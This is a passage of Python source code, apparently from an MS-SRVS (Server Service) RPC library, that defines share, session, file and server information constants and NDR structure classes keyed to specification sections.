1\nSHARE_TYPE_PARMNUM         = 3\nSHARE_REMARK_PARMNUM       = 4\nSHARE_PERMISSIONS_PARMNUM  = 5\nSHARE_MAX_USES_PARMNUM     = 6\nSHARE_CURRENT_USES_PARMNUM = 7\nSHARE_PATH_PARMNUM         = 8\nSHARE_PASSWD_PARMNUM       = 9\nSHARE_FILE_SD_PARMNUM      = 501\n\n# 2.2.2.12 SERVER_INFO Parameter Error Codes\nSV_PLATFORM_ID_PARMNUM             = 101\nSV_NAME_PARMNUM                    = 102\nSV_VERSION_MAJOR_PARMNUM           = 103\nSV_VERSION_MINOR_PARMNUM           = 104\nSV_TYPE_PARMNUM                    = 105\nSV_COMMENT_PARMNUM                 = 5\nSV_USERS_PARMNUM                   = 107\nSV_DISC_PARMNUM                    = 10\nSV_HIDDEN_PARMNUM                  = 16\nSV_ANNOUNCE_PARMNUM                = 17\nSV_ANNDELTA_PARMNUM                = 18\nSV_USERPATH_PARMNUM                = 112\nSV_SESSOPENS_PARMNUM               = 501\nSV_SESSVCS_PARMNUM                 = 502\nSV_OPENSEARCH_PARMNUM              = 503\nSV_SIZREQBUF_PARMNUM               = 504\nSV_INITWORKITEMS_PARMNUM           = 505\nSV_MAXWORKITEMS_PARMNUM            = 506\nSV_RAWWORKITEMS_PARMNUM            = 507\nSV_IRPSTACKSIZE_PARMNUM            = 508\nSV_MAXRAWBUFLEN_PARMNUM            = 509\nSV_SESSUSERS_PARMNUM               = 510\nSV_SESSCONNS_PARMNUM               = 511\nSV_MAXNONPAGEDMEMORYUSAGE_PARMNUM  = 512\nSV_MAXPAGEDMEMORYUSAGE_PARMNUM     = 513\nSV_ENABLESOFTCOMPAT_PARMNUM        = 514\nSV_ENABLEFORCEDLOGOFF_PARMNUM      = 515\nSV_TIMESOURCE_PARMNUM              = 516\nSV_ACCEPTDOWNLEVELAPIS_PARMNUM     = 517\nSV_LMANNOUNCE_PARMNUM              = 518\nSV_DOMAIN_PARMNUM                  = 519\nSV_MAXCOPYREADLEN_PARMNUM          = 520\nSV_MAXCOPYWRITELEN_PARMNUM         = 521\nSV_MINKEEPSEARCH_PARMNUM           = 522\nSV_MAXKEEPSEARCH_PARMNUM           = 523\nSV_MINKEEPCOMPLSEARCH_PARMNUM      = 524\nSV_MAXKEEPCOMPLSEARCH_PARMNUM      = 525\nSV_THREADCOUNTADD_PARMNUM          = 526\nSV_NUMBLOCKTHREADS_PARMNUM         = 527\nSV_SCAVTIMEOUT_PARMNUM             = 528\nSV_MINRCVQUEUE_PARMNUM             = 529\nSV_MINFREEWORKITEMS_PARMNUM        = 530\nSV_XACTMEMSIZE_PARMNUM             = 531\nSV_THREADPRIORITY_PARMNUM          = 532\nSV_MAXMPXCT_PARMNUM                = 533\nSV_OPLOCKBREAKWAIT_PARMNUM         = 534\nSV_OPLOCKBREAKRESPONSEWAIT_PARMNUM = 535\nSV_ENABLEOPLOCKS_PARMNUM           = 536\nSV_ENABLEOPLOCKFORCECLOSE_PARMNUM  = 537\nSV_ENABLEFCBOPENS_PARMNUM          = 538\nSV_ENABLERAW_PARMNUM               = 539\nSV_ENABLESHAREDNETDRIVES_PARMNUM   = 540\nSV_MINFREECONNECTIONS_PARMNUM      = 541\nSV_MAXFREECONNECTIONS_PARMNUM      = 542\nSV_INITSESSTABLE_PARMNUM           = 543\nSV_INITCONNTABLE_PARMNUM           = 544\nSV_INITFILETABLE_PARMNUM           = 545\nSV_INITSEARCHTABLE_PARMNUM         = 546\nSV_ALERTSCHEDULE_PARMNUM           = 547\nSV_ERRORTHRESHOLD_PARMNUM          = 548\nSV_NETWORKERRORTHRESHOLD_PARMNUM   = 549\nSV_DISKSPACETHRESHOLD_PARMNUM      = 550\nSV_MAXLINKDELAY_PARMNUM            = 552\nSV_MINLINKTHROUGHPUT_PARMNUM       = 553\nSV_LINKINFOVALIDTIME_PARMNUM       = 554\nSV_SCAVQOSINFOUPDATETIME_PARMNUM   = 555\nSV_MAXWORKITEMIDLETIME_PARMNUM     = 556\n\n# 2.2.2.13 DFS Entry Flags\nPKT_ENTRY_TYPE_CAIRO          = 0x0001\nPKT_ENTRY_TYPE_MACHINE        = 0x0002\nPKT_ENTRY_TYPE_NONCAIRO       = 0x0004\nPKT_ENTRY_TYPE_LEAFONLY       = 0x0008\nPKT_ENTRY_TYPE_OUTSIDE_MY_DOM = 0x0010\nPKT_ENTRY_TYPE_INSITE_ONLY    = 0x0020\nPKT_ENTRY_TYPE_REFERRAL_SVC   = 0x0080\nPKT_ENTRY_TYPE_PERMANENT      = 0x0100\nPKT_ENTRY_TYPE_LOCAL          = 0x0400\nPKT_ENTRY_TYPE_LOCAL_XPOINT   = 0x0800\nPKT_ENTRY_TYPE_MACH_SHARE     = 0x1000\nPKT_ENTRY_TYPE_OFFLINE        = 0x2000\n\n# 2.2.4.7 FILE_INFO_3 \n# fi3_permissions\nPERM_FILE_READ   = 0x00000001\nPERM_FILE_WRITE  = 0x00000002\nPERM_FILE_CREATE = 0x00000004\nACCESS_EXEC      = 0x00000008\nACCESS_DELETE    = 0x00000010\nACCESS_ATRIB     = 0x00000020\nACCESS_PERM      = 0x00000040\n\n# 2.2.4.29 SHARE_INFO_1005\n# shi1005_flags\nSHI1005_FLAGS_DFS                         = 0x00000001\nSHI1005_FLAGS_DFS_ROOT                    = 0x00000002\nCSC_MASK                                  = 0x00000030\nSHI1005_FLAGS_RESTRICT_EXCLUSIVE_OPENS    = 0x00000100\nSHI1005_FLAGS_FORCE_SHARED_DELETE         = 0x00000200\nSHI1005_FLAGS_ALLOW_NAMESPACE_CACHING     = 0x00000400\nSHI1005_FLAGS_ACCESS_BASED_DIRECTORY_ENUM = 0x00000800\nSHI1005_FLAGS_FORCE_LEVELII_OPLOCK        = 0x00001000\nSHI1005_FLAGS_ENABLE_HASH                 = 0x00002000\nSHI1005_FLAGS_ENABLE_CA                   = 0x00004000\nSHI1005_FLAGS_ENCRYPT_DATA                = 0x00008000\n\n# 2.2.4.43 SERVER_INFO_103\n# sv103_capabilities\nSRV_SUPPORT_HASH_GENERATION = 0x0001\nSRV_HASH_GENERATION_ACTIVE  = 0x0002\n\n# 2.2.4.96 SERVER_TRANSPORT_INFO_3\n# svti3_flags\nSVTI2_REMAP_PIPE_NAMES = 0x00000002\nSVTI2_SCOPED_NAME      = 0x00000004\n\n# 2.2.4.109 DFS_SITENAME_INFO\n# SiteFlags\nDFS_SITE_PRIMARY = 0x00000001\n\n# 3.1.4.42 NetrDfsFixLocalVolume (Opnum 51)\n# ServiceType\nDFS_SERVICE_TYPE_MASTER     = 0x00000001\nDFS_SERVICE_TYPE_READONLY   = 0x00000002\nDFS_SERVICE_TYPE_LOCAL      = 0x00000004\nDFS_SERVICE_TYPE_REFERRAL   = 0x00000008\nDFS_SERVICE_TYPE_ACTIVE     = 0x000000010\nDFS_SERVICE_TYPE_DOWN_LEVEL = 0x000000020\nDFS_SERVICE_TYPE_COSTLIER   = 0x000000040\nDFS_SERVICE_TYPE_OFFLINE    = 0x000000080\n\n# CreateDisposition\nFILE_SUPERSEDE = 0x00000000\nFILE_OPEN      = 0x00000001\nFILE_CREATE    = 0x00000002\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.4.1 CONNECTION_INFO_0\nclass CONNECTION_INFO_0(NDRSTRUCT):\n    structure = (\n        ('coni0_id', DWORD),\n    )\n\nclass CONNECTION_INFO_0_ARRAY(NDRUniConformantArray):\n    item = CONNECTION_INFO_0\n\nclass LPCONNECTION_INFO_0_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', CONNECTION_INFO_0_ARRAY),\n    )\n\n# 2.2.4.2 CONNECTION_INFO_1\nclass CONNECTION_INFO_1(NDRSTRUCT):\n    structure = (\n        ('coni1_id', DWORD),\n        ('coni1_type', DWORD),\n        ('coni1_num_opens', DWORD),\n        ('coni1_num_users', DWORD),\n        ('coni1_time', DWORD),\n        ('coni1_username', LPWSTR),\n        ('coni1_netname', LPWSTR),\n    )\n\nclass CONNECTION_INFO_1_ARRAY(NDRUniConformantArray):\n    item = CONNECTION_INFO_1\n\nclass LPCONNECTION_INFO_1_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', CONNECTION_INFO_1_ARRAY),\n    )\n\n# 2.2.4.3 CONNECT_INFO_0_CONTAINER\nclass CONNECT_INFO_0_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPCONNECTION_INFO_0_ARRAY),\n    )\n\nclass LPCONNECT_INFO_0_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', CONNECT_INFO_0_CONTAINER),\n    )\n\n# 2.2.4.4 CONNECT_INFO_1_CONTAINER\nclass CONNECT_INFO_1_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPCONNECTION_INFO_1_ARRAY),\n    )\n\nclass LPCONNECT_INFO_1_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', CONNECT_INFO_1_CONTAINER),\n    )\n\n# 2.2.3.1 CONNECT_ENUM_UNION\nclass CONNECT_ENUM_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        0: ('Level0', LPCONNECT_INFO_0_CONTAINER),\n        1: ('Level1', LPCONNECT_INFO_1_CONTAINER),\n    }\n\n# 2.2.4.5 CONNECT_ENUM_STRUCT\nclass CONNECT_ENUM_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', DWORD),\n        ('ConnectInfo', CONNECT_ENUM_UNION),\n    )\n\n# 2.2.4.6 FILE_INFO_2\nclass FILE_INFO_2(NDRSTRUCT):\n    structure = (\n        ('fi2_id', DWORD),\n    )\n\nclass LPFILE_INFO_2(NDRPOINTER):\n    referent = (\n        ('Data', FILE_INFO_2),\n    )\n\nclass FILE_INFO_2_ARRAY(NDRUniConformantArray):\n    item = FILE_INFO_2\n\nclass LPFILE_INFO_2_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', FILE_INFO_2_ARRAY),\n    )\n\n# 2.2.4.7 FILE_INFO_3\nclass FILE_INFO_3(NDRSTRUCT):\n    structure = (\n        ('fi3_id', DWORD),\n        ('fi3_permissions', DWORD),\n        ('fi3_num_locks', DWORD),\n        ('fi3_path_name', LPWSTR),\n        ('fi3_username', LPWSTR),\n    )\n\nclass LPFILE_INFO_3(NDRPOINTER):\n    referent = (\n        ('Data', FILE_INFO_3),\n    )\n\nclass FILE_INFO_3_ARRAY(NDRUniConformantArray):\n    item = FILE_INFO_3\n\nclass LPFILE_INFO_3_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', FILE_INFO_3_ARRAY),\n    )\n\n# 2.2.4.8 FILE_INFO_2_CONTAINER\nclass FILE_INFO_2_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPFILE_INFO_2_ARRAY),\n    )\n\nclass LPFILE_INFO_2_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', FILE_INFO_2_CONTAINER),\n    )\n\n# 2.2.4.9 FILE_INFO_3_CONTAINER\nclass FILE_INFO_3_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPFILE_INFO_3_ARRAY),\n    )\n\nclass LPFILE_INFO_3_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', FILE_INFO_3_CONTAINER),\n    )\n\n# 2.2.3.2 FILE_ENUM_UNION\nclass FILE_ENUM_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        2: ('Level2', LPFILE_INFO_2_CONTAINER),\n        3: ('Level3', LPFILE_INFO_3_CONTAINER),\n    }\n\n# 2.2.4.10 FILE_ENUM_STRUCT\nclass FILE_ENUM_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', DWORD),\n        ('FileInfo', FILE_ENUM_UNION),\n    )\n\n# 2.2.4.11 SESSION_INFO_0\nclass SESSION_INFO_0(NDRSTRUCT):\n    structure = (\n        ('sesi0_cname', LPWSTR),\n    )\n\nclass LPSESSION_INFO_0(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_0),\n    )\n\nclass SESSION_INFO_0_ARRAY(NDRUniConformantArray):\n    item = SESSION_INFO_0\n\nclass LPSESSION_INFO_0_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_0_ARRAY),\n    )\n\n# 2.2.4.12 SESSION_INFO_1\nclass SESSION_INFO_1(NDRSTRUCT):\n    structure = (\n        ('sesi1_cname', LPWSTR),\n        ('sesi1_username', LPWSTR),\n        ('sesi1_num_opens', DWORD),\n        ('sesi1_time', DWORD),\n        ('sesi1_idle_time', DWORD),\n        ('sesi1_user_flags', DWORD),\n    )\n\nclass LPSESSION_INFO_1(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_1),\n    )\n\nclass SESSION_INFO_1_ARRAY(NDRUniConformantArray):\n    item = SESSION_INFO_1\n\nclass LPSESSION_INFO_1_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_1_ARRAY),\n    )\n\n# 2.2.4.13 SESSION_INFO_2\nclass SESSION_INFO_2(NDRSTRUCT):\n    structure = (\n        ('sesi2_cname', LPWSTR),\n        ('sesi2_username', LPWSTR),\n        ('sesi2_num_opens', DWORD),\n        ('sesi2_time', DWORD),\n        ('sesi2_idle_time', DWORD),\n        ('sesi2_user_flags', DWORD),\n        ('sesi2_cltype_name', LPWSTR),\n    )\n\nclass LPSESSION_INFO_2(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_2),\n    )\n\nclass SESSION_INFO_2_ARRAY(NDRUniConformantArray):\n    item = SESSION_INFO_2\n\nclass LPSESSION_INFO_2_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_2_ARRAY),\n    )\n\n# 2.2.4.14 SESSION_INFO_10\nclass SESSION_INFO_10(NDRSTRUCT):\n    structure = (\n        ('sesi10_cname', LPWSTR),\n        ('sesi10_username', LPWSTR),\n        ('sesi10_time', DWORD),\n        ('sesi10_idle_time', DWORD),\n    )\n\nclass LPSESSION_INFO_10(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_10),\n    )\n\nclass SESSION_INFO_10_ARRAY(NDRUniConformantArray):\n    item = SESSION_INFO_10\n\nclass LPSESSION_INFO_10_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_10_ARRAY),\n    )\n\n# 2.2.4.15 SESSION_INFO_502\nclass SESSION_INFO_502(NDRSTRUCT):\n    structure = (\n        ('sesi502_cname', LPWSTR),\n        ('sesi502_username', LPWSTR),\n        ('sesi502_num_opens', DWORD),\n        ('sesi502_time', DWORD),\n        ('sesi502_idle_time', DWORD),\n        ('sesi502_user_flags', DWORD),\n        ('sesi502_cltype_name', LPWSTR),\n        ('sesi502_transport', LPWSTR),\n    )\n\nclass LPSESSION_INFO_502(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_502),\n    )\n\nclass SESSION_INFO_502_ARRAY(NDRUniConformantArray):\n    item = SESSION_INFO_502\n\nclass LPSESSION_INFO_502_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_502_ARRAY),\n    )\n\n# 2.2.4.16 SESSION_INFO_0_CONTAINER\nclass SESSION_INFO_0_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSESSION_INFO_0_ARRAY),\n    )\n\nclass LPSESSION_INFO_0_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_0_CONTAINER),\n    )\n\n# 2.2.4.17 SESSION_INFO_1_CONTAINER\nclass SESSION_INFO_1_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSESSION_INFO_1_ARRAY),\n    )\n\nclass LPSESSION_INFO_1_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_1_CONTAINER),\n    )\n\n# 2.2.4.18 SESSION_INFO_2_CONTAINER\nclass SESSION_INFO_2_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSESSION_INFO_2_ARRAY),\n    )\n\nclass LPSESSION_INFO_2_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_2_CONTAINER),\n    )\n\n# 2.2.4.19 SESSION_INFO_10_CONTAINER\nclass SESSION_INFO_10_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSESSION_INFO_10_ARRAY),\n    )\n\nclass LPSESSION_INFO_10_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_10_CONTAINER),\n    )\n\n# 2.2.4.20 SESSION_INFO_502_CONTAINER\nclass SESSION_INFO_502_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSESSION_INFO_502_ARRAY),\n    )\n\nclass LPSESSION_INFO_502_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_INFO_502_CONTAINER),\n    )\n\n# 2.2.3.4 SESSION_ENUM_UNION\nclass SESSION_ENUM_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        0: ('Level0', LPSESSION_INFO_0_CONTAINER),\n        1: ('Level1', LPSESSION_INFO_1_CONTAINER),\n        2: ('Level2', LPSESSION_INFO_2_CONTAINER),\n        10: ('Level10', LPSESSION_INFO_10_CONTAINER),\n        502: ('Level502', LPSESSION_INFO_502_CONTAINER),\n    }\n\n# 2.2.4.21 SESSION_ENUM_STRUCT\nclass SESSION_ENUM_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', DWORD),\n        ('SessionInfo', SESSION_ENUM_UNION),\n    )\n\n# 2.2.4.22 SHARE_INFO_0\nclass SHARE_INFO_0(NDRSTRUCT):\n    structure = (\n        ('shi0_netname', LPWSTR),\n    )\n\nclass LPSHARE_INFO_0(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_0),\n    )\n\nclass SHARE_INFO_0_ARRAY(NDRUniConformantArray):\n    item = SHARE_INFO_0\n\nclass LPSHARE_INFO_0_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_0_ARRAY),\n    )\n\n# 2.2.4.23 SHARE_INFO_1\nclass SHARE_INFO_1(NDRSTRUCT):\n    structure = (\n        ('shi1_netname', LPWSTR),\n        ('shi1_type', DWORD),\n        ('shi1_remark', LPWSTR),\n    )\n\nclass LPSHARE_INFO_1(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1),\n    )\n\nclass SHARE_INFO_1_ARRAY(NDRUniConformantArray):\n    item = SHARE_INFO_1\n\nclass LPSHARE_INFO_1_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1_ARRAY),\n    )\n\n# 2.2.4.24 SHARE_INFO_2\nclass SHARE_INFO_2(NDRSTRUCT):\n    structure = (\n        ('shi2_netname', LPWSTR),\n        ('shi2_type', DWORD),\n        ('shi2_remark', LPWSTR),\n        ('shi2_permissions', DWORD),\n        ('shi2_max_uses', DWORD),\n        ('shi2_current_uses', DWORD),\n        ('shi2_path', LPWSTR),\n        ('shi2_passwd', LPWSTR),\n    )\n\nclass LPSHARE_INFO_2(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_2),\n    )\n\nclass SHARE_INFO_2_ARRAY(NDRUniConformantArray):\n    item = SHARE_INFO_2\n\nclass LPSHARE_INFO_2_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_2_ARRAY),\n    )\n\n# 2.2.4.25 SHARE_INFO_501\nclass SHARE_INFO_501(NDRSTRUCT):\n    structure = (\n        ('shi501_netname', LPWSTR),\n        ('shi501_type', DWORD),\n        ('shi501_remark', LPWSTR),\n        ('shi501_flags', DWORD),\n    )\n\nclass LPSHARE_INFO_501(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_501),\n    )\n\nclass SHARE_INFO_501_ARRAY(NDRUniConformantArray):\n    item = SHARE_INFO_501\n\nclass LPSHARE_INFO_501_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_501_ARRAY),\n    )\n\n# 2.2.4.26 SHARE_INFO_502_I\nclass SHARE_INFO_502(NDRSTRUCT):\n    structure = (\n        ('shi502_netname', LPWSTR),\n        ('shi502_type', DWORD),\n        ('shi502_remark', LPWSTR),\n        ('shi502_permissions', DWORD),\n        ('shi502_max_uses', DWORD),\n        ('shi502_current_uses', DWORD),\n        ('shi502_path', LPWSTR),\n        ('shi502_passwd', LPWSTR),\n        ('shi502_reserved', DWORD),\n        ('shi502_security_descriptor', LPBYTE),\n    )\n\nclass LPSHARE_INFO_502(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_502),\n    )\n\nclass SHARE_INFO_502_ARRAY(NDRUniConformantArray):\n    item = SHARE_INFO_502\n\nclass LPSHARE_INFO_502_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_502_ARRAY),\n    )\n\n# 2.2.4.27 SHARE_INFO_503_I\nclass SHARE_INFO_503(NDRSTRUCT):\n    structure = (\n        ('shi503_netname', LPWSTR),\n        ('shi503_type', DWORD),\n        ('shi503_remark', LPWSTR),\n        ('shi503_permissions', DWORD),\n        ('shi503_max_uses', DWORD),\n        ('shi503_current_uses', DWORD),\n        ('shi503_path', LPWSTR),\n        ('shi503_passwd', LPWSTR),\n        ('shi503_servername', LPWSTR),\n        ('shi503_reserved', DWORD),\n        ('shi503_security_descriptor', LPBYTE),\n    )\n\nclass LPSHARE_INFO_503(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_503),\n    )\n\nclass SHARE_INFO_503_ARRAY(NDRUniConformantArray):\n    item = SHARE_INFO_503\n\nclass LPSHARE_INFO_503_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_503_ARRAY),\n    )\n\n# 2.2.4.28 SHARE_INFO_1004\nclass SHARE_INFO_1004(NDRSTRUCT):\n    structure = (\n        ('shi1004_remark', LPWSTR),\n    )\n\nclass LPSHARE_INFO_1004(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1004),\n    )\n\nclass SHARE_INFO_1004_ARRAY(NDRUniConformantArray):\n    item = SHARE_INFO_1004\n\nclass LPSHARE_INFO_1004_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1004_ARRAY),\n    )\n\n# 2.2.4.29 SHARE_INFO_1005\nclass SHARE_INFO_1005(NDRSTRUCT):\n    structure = (\n        ('shi1005_flags', DWORD),\n    )\n\nclass LPSHARE_INFO_1005(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1005),\n    )\n\nclass SHARE_INFO_1005_ARRAY(NDRUniConformantArray):\n    item = SHARE_INFO_1004\n\nclass LPSHARE_INFO_1005_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1005_ARRAY),\n    )\n\n# 2.2.4.30 SHARE_INFO_1006\nclass SHARE_INFO_1006(NDRSTRUCT):\n    structure = (\n        ('shi1006_max_uses', DWORD),\n    )\n\nclass LPSHARE_INFO_1006(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1006),\n    )\n\nclass SHARE_INFO_1006_ARRAY(NDRUniConformantArray):\n    item = SHARE_INFO_1006\n\nclass LPSHARE_INFO_1006_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1006_ARRAY),\n    )\n\n# 2.2.4.31 SHARE_INFO_1501_I\nclass SHARE_INFO_1501(NDRSTRUCT):\n    structure = (\n        ('shi1501_reserved', DWORD),\n        ('shi1501_security_descriptor', NDRUniConformantArray),\n    )\n\nclass LPSHARE_INFO_1501(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1501),\n    )\n\nclass SHARE_INFO_1501_ARRAY(NDRUniConformantArray):\n    item = SHARE_INFO_1501\n\nclass LPSHARE_INFO_1501_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1501_ARRAY),\n    )\n\n# 2.2.4.32 SHARE_INFO_0_CONTAINER\nclass SHARE_INFO_0_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSHARE_INFO_0_ARRAY),\n    )\n\nclass LPSHARE_INFO_0_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_0_CONTAINER),\n    )\n\n# 2.2.4.33 SHARE_INFO_1_CONTAINER\nclass SHARE_INFO_1_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSHARE_INFO_1_ARRAY),\n    )\n\nclass LPSHARE_INFO_1_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_1_CONTAINER),\n    )\n\n# 2.2.4.34 SHARE_INFO_2_CONTAINER\nclass SHARE_INFO_2_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSHARE_INFO_2_ARRAY),\n    )\n\nclass LPSHARE_INFO_2_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_2_CONTAINER),\n    )\n\n# 2.2.4.35 SHARE_INFO_501_CONTAINER\nclass SHARE_INFO_501_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSHARE_INFO_501_ARRAY),\n    )\n\nclass LPSHARE_INFO_501_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_501_CONTAINER),\n    )\n\n# 2.2.4.36 SHARE_INFO_502_CONTAINER\nclass SHARE_INFO_502_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSHARE_INFO_502_ARRAY),\n    )\n\nclass LPSHARE_INFO_502_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_502_CONTAINER),\n    )\n\n# 2.2.4.37 SHARE_INFO_503_CONTAINER\nclass SHARE_INFO_503_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', DWORD),\n        ('Buffer', LPSHARE_INFO_503_ARRAY),\n    )\n\nclass LPSHARE_INFO_503_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', SHARE_INFO_503_CONTAINER),\n    )\n\n# 2.2.3.5 SHARE_ENUM_UNION\nclass SHARE_ENUM_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        0: ('Level0', LPSHARE_INFO_0_CONTAINER),\n        1: ('Level1', LPSHARE_INFO_1_CONTAINER),\n        2: ('Level2', LPSHARE_INFO_2_CONTAINER),\n        501: ('Level501', LPSHARE_INFO_501_CONTAINER),\n        502: ('Level502', LPSHARE_INFO_502_CONTAINER),\n        503: ('Level503', LPSHARE_INFO_503_CONTAINER),\n    }\n\n# 2.2.4.38 SHARE_ENUM_STRUCT\nclass SHARE_ENUM_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', DWORD),\n        ('ShareInfo', SHARE_ENUM_UNION),\n    )\n\n# 2.2.4.39 STAT_SERVER_0\nclass STAT_SERVER_0(NDRSTRUCT):\n    structure = (\n        ('sts0_start', DWORD),\n        ('sts0_fopens', DWORD),\n        ('sts0_devopens', DWORD),\n        ('sts0_jobsqueued', DWORD),\n        ('sts0_sopens', DWORD),\n        ('sts0_stimedout', DWORD),\n        ('sts0_serrorout', DWORD),\n        ('sts0_pwerrors', DWORD),\n        ('sts0_permerrors', DWORD),\n        ('sts0_syserrors', DWORD),\n        ('sts0_bytessent_low', DWORD),\n        ('sts0_bytessent_high', DWORD),\n        ('sts0_bytesrcvd_low', DWORD),\n        ('sts0_bytesrcvd_high', DWORD),\n        ('sts0_avresponse', DWORD),\n        ('sts0_reqbufneed', DWORD),\n        ('sts0_bigbufneed', DWORD),\n    )\n\nclass LPSTAT_SERVER_0(NDRPOINTER):\n    referent = (\n        ('Data', STAT_SERVER_0),\n    )\n\n# 2.2.4.40 SERVER_INFO_100\nclass SERVER_INFO_100(NDRSTRUCT):\n    structure = (\n        ('sv100_platform_id', DWORD),\n        ('sv100_name', LPWSTR),\n    )\n\nclass LPSERVER_INFO_100(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_100),\n    )\n\n# 2.2.4.41 SERVER_INFO_101\nclass SERVER_INFO_101(NDRSTRUCT):\n    structure = (\n        ('sv101_platform_id', DWORD),\n        ('sv101_name', LPWSTR),\n        ('sv101_version_major', DWORD),\n        ('sv101_version_minor', DWORD),\n        ('sv101_type', DWORD),\n        ('sv101_comment', LPWSTR),\n    )\n\nclass LPSERVER_INFO_101(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_101),\n    )\n\n# 2.2.4.42 SERVER_INFO_102\nclass SERVER_INFO_102(NDRSTRUCT):\n    structure = (\n        ('sv102_platform_id', DWORD),\n        ('sv102_name', LPWSTR),\n        ('sv102_version_major', DWORD),\n        ('sv102_version_minor', DWORD),\n        ('sv102_type', DWORD),\n        ('sv102_comment', LPWSTR),\n        ('sv102_users', DWORD),\n        ('sv102_disc', DWORD),\n        ('sv102_hidden', DWORD),\n        ('sv102_announce', DWORD),\n        ('sv102_anndelta', DWORD),\n        ('sv102_licenses', DWORD),\n        ('sv102_userpath', LPWSTR),\n    )\n\nclass LPSERVER_INFO_102(NDRPOINTER):\n    referent = (\n        ('Data', SERVER_INFO_102),\n    )\n\n# 2.2.4.43 SERVER_INFO_103\nclass 